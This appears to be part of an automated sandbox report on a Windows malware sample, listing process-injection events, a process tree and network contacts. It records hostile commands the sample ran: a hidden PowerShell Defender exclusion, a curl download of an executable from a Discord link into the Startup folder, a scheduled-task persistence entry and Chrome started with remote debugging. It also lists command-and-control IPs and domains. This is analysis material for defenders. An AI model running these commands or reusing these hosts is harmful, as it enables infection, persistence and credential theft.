N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4900 wrote to memory of 408 N/A C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe
PID 4900 wrote to memory of 408 N/A C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe
PID 4900 wrote to memory of 408 N/A C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe
PID 408 wrote to memory of 4688 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe
PID 408 wrote to memory of 4688 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe
PID 408 wrote to memory of 4688 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe
PID 4688 wrote to memory of 2864 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 4688 wrote to memory of 2864 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 4688 wrote to memory of 2864 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 408 wrote to memory of 2124 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe
PID 408 wrote to memory of 2124 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe
PID 408 wrote to memory of 2124 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe
PID 4900 wrote to memory of 4936 N/A C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe
PID 4900 wrote to memory of 4936 N/A C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe
PID 4900 wrote to memory of 4936 N/A C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe
PID 2864 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe
PID 2864 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe
PID 2864 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe
PID 3880 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3880 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1148 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1148 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 2164 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1988 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1988 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1224 wrote to memory of 1420 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe

"C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe

C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe

"C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffcc75bcc40,0x7ffcc75bcc4c,0x7ffcc75bcc58

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2000,i,4760673659492707295,15494938158206308571,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1996 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1896,i,4760673659492707295,15494938158206308571,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2120 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1684,i,4760673659492707295,15494938158206308571,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2468 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3200,i,4760673659492707295,15494938158206308571,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3212 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3264,i,4760673659492707295,15494938158206308571,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3452 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3636,i,4760673659492707295,15494938158206308571,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4452 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe

"C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3E4C.tmp\3E6C.tmp\3E6D.bat C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -w hidden -c Add-MpPreference -ExclusionPath ""

C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe

"C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe"

C:\Windows\system32\curl.exe

curl --silent --output "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe" "https://cdn.discordapp.com/attachments/1167169926193229925/1306213355966435360/decrypter.exe?ex=6735d97c&is=673487fc&hm=3f582970dc363d475b432b390a941fae5b9a6a3f9388809e2d818b6f1c1f06ff&"

C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe

"C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe"

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe"

C:\Users\Admin\AppData\Local\Temp\1006098001\3f0bcbc3dc.exe

"C:\Users\Admin\AppData\Local\Temp\1006098001\3f0bcbc3dc.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"

C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe

"C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe"

C:\Users\Admin\AppData\Local\Temp\service123.exe

"C:\Users\Admin\AppData\Local\Temp\service123.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ba5f3f4658.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcd71646f8,0x7ffcd7164708,0x7ffcd7164718

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3880 -ip 3880

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3880 -s 1464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1996 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2732 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4572 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\service123.exe

C:\Users\Admin\AppData\Local\Temp\/service123.exe

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5324 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5324 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5388 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3912 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ba5f3f4658.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffcd71646f8,0x7ffcd7164708,0x7ffcd7164718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5028 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5816 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,14441548309034020492,5298483546845723720,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5876 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\service123.exe

C:\Users\Admin\AppData\Local\Temp\/service123.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 101.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 presticitpo.store udp
RU 185.215.113.43:80 185.215.113.43 tcp
US 8.8.8.8:53 crisiwarny.store udp
US 8.8.8.8:53 fadehairucw.store udp
US 8.8.8.8:53 thumbystriw.store udp
US 8.8.8.8:53 necklacedmny.store udp
US 8.8.8.8:53 founpiuer.store udp
US 8.8.8.8:53 navygenerayk.store udp
US 8.8.8.8:53 scriptyprefej.store udp
US 8.8.8.8:53 steamcommunity.com udp
GB 104.82.234.109:443 steamcommunity.com tcp
US 8.8.8.8:53 43.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 109.234.82.104.in-addr.arpa udp
RU 31.41.244.11:80 31.41.244.11 tcp
RU 185.215.113.206:80 185.215.113.206 tcp
US 8.8.8.8:53 11.244.41.31.in-addr.arpa udp
US 8.8.8.8:53 206.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 home.fvteja5sb.top udp
RU 141.8.199.217:80 home.fvteja5sb.top tcp
US 8.8.8.8:53 217.199.8.141.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 fvteja5sb.top udp
RU 141.8.199.217:80 fvteja5sb.top tcp
US 8.8.8.8:53 fvteja5sb.top udp
RU 141.8.199.217:80 fvteja5sb.top tcp
US 8.8.8.8:53 www.google.com udp
GB 216.58.201.100:443 www.google.com tcp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
GB 216.58.201.100:443 www.google.com udp
